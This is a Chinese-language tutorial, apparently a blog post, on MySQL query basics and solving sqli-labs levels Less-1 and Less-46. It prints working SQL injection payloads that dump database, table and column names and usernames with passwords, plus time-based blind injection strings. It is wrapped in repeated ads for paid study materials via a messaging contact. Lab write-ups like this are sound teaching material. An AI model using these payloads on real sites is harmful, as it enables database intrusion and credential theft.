先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
正文
2.1联合查询union用法
联合查询必须要保证列是相同的
联合查询还有就是前面条件为假时后面条件才会生效
-- 中国或美国城市信息
SELECT \* FROM city
WHERE countrycode IN ('CHN' ,'USA');
SELECT \* FROM city WHERE countrycode='CHN'
UNION ALL
SELECT \* FROM city WHERE countrycode='USA'
说明:一般情况下,我们会将 IN 或者 OR 语句 改写成 UNION ALL,来提高性能
UNION 去重复
UNION ALL 不去重复
\*\*查询结果限定\*\*
在SELECT语句最后可以用LIMLT来限定查询结果返回的起始记录和总数量。MySQL特有。
SELECT … LIMIT offset_start,row_count;
offset_start:第一个返回记录行的偏移量。默认为0.
row_count:要返回记录行的最大数目。
例子:
SELECT \* FROM TB_EMP LIMIT 5;/\*检索前5个记录\*/
SELECT \* FROM TB_EMP LIMIT 5,10;/\*检索记录行6-15\*/
2.2MySQL中的通配符:
MySQL中的常用通配符有三个:
%:用来表示任意多个字符,包含0个字符
_ : 用来表示任意单个字符
escape:用来转义特定字符
2.3常用函数
group_concat 多行显示变成一行
select group_concat(id,password,emails) from users;
select database() 查看数据库
select version() 查看版本
session\_user() 返回连接数据库的用户名和主机名,也就是网站配置文件中连接数据库的账户
ascii() 将参数字符串转换为asccii码
length() 返回字符串长度
LEFT (str,len) 从左侧字截取符串,返回字符串左边的若干个字符
RIGHT 从右侧字截取符串,返回字符串右边的若干个字符
REPLACE(s,s1,s2) 字符串替换函数,返回替换后的新字符串
SUBSTRING(s,n,len) 截取字符串,返回从指定位置开始的指定长度的字符换
REVERSE 字符串反转(逆序)函数,返回与原始字符串顺序相反的字符串
2.4数据分组
数据分组--GROUP BY
GROUP BY子句的真正作用在于与各种聚合函数配合使用。它用来对查询出来的数据进行分组。
分组的含义是:把该列具有相同值的多条记录当成一组记录处理,最后只输出一条记录。
分组函数忽略空值,。
结果集隐式按升序排列,如果需要改变排序方式可以使用Order by 子句。
SELECT column, group_function
FROM table
[WHERE condition]
[GROUP BY group_by_expression]
[ORDER BY column];
order by的列如果是1,2,3那麽返回的就是第1,2,3列表中的数据。
#每个部门的平均工资
SELECT deptno,AVG(sal) FROM TB_EMP GROUP BY deptno
3.mysql中重要的数据库和表
请参照这篇博客
https://blog.csdn.net/qq_61237064/article/details/124434520
4.开始闯关
4.1 Less-1
4.1.1 首先进行一次常规的注入
观察靶场我们可以发现,它让我们输入一个id,那我们就进行测试吧。
输入id=1
4.1.2 深入解析
既然我们可以输入一个id,那我们是否可以输入一些其他的语句,来获取更多的数据呢,答案是当然的,接下来我们就要依靠上面的知识。
1.探析所注入的表的列数
我们在上面知道了order by的用法,它可以为我们探查这个表到底有几列,例如
select \* from users order by 1;
我们注入一个order by为5,即猜测表中有5列数据,他返回个错误,这下我们就知道了,他没有五列数据,我们就可以用二分法(100,50,25,12,6,3)来探查到底有几列数据,我们最终发现这个表有三列数据。
2.查库名
接下来就要用到联合查询union了。当我们查询所返回的列不与前面的数据的列相同时就会报错。列数相同时,数据就合并了。
我们发现查了1,2,3,他就返回了1,2,3,当我们查询数据库名字database(),数据库版本version()的时候他也会显示。
甚至你可以查出他所有的库名
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
3.查表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
4查users表中的列名
?id=-1' union select 1,group\_concat(column\_name),3 from information\_schema.columns where table\_schema=database() and table\_name = 'users' --+
5.查users表中所有数据
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users --+
4.2 Less-46(盲注)
关于这部分我推荐读者看一下乌鸦安全在哔哩哔哩的视频还有要结合caker大佬的博客,讲解的简单易懂。
https://space.bilibili.com/29903122
https://blog.csdn.net/m0_46467017/article/details/126242055?spm=1001.2014.3001.5502
1.时间盲注payload
order by if(表达式,1,sleep(1))
表达式为true时,正常时间显示
表达式为false时,会延迟一段时间显示
我们可以把它看成一个三目运算符,如果结果正确就返回A,否则就返回B。
比如我们判断一下数据库名字的长度是否大于1,是否等于1.我们发现大于1的时候他正常跳转了,但是当他等于1的时候他就一直转圈圈
payload如下
?sort=2 and if ((length(database())>1),1,sleep(5))--+
?sort=2 and if ((length(database())=1),1,sleep(5))--+
虽然时间盲注可以帮助我们来判断,但是我们一直等待时间恐怕有点不现实,所以就推荐通过写个脚本来判断他。
2.基于rand()的盲注(数字型)
rand() 函数可以产生随机数介于0和1之间的一个数
当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数,
种子固定,则生成的数固定
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
资料
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-NXqsy5TR-1713406873833)]
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!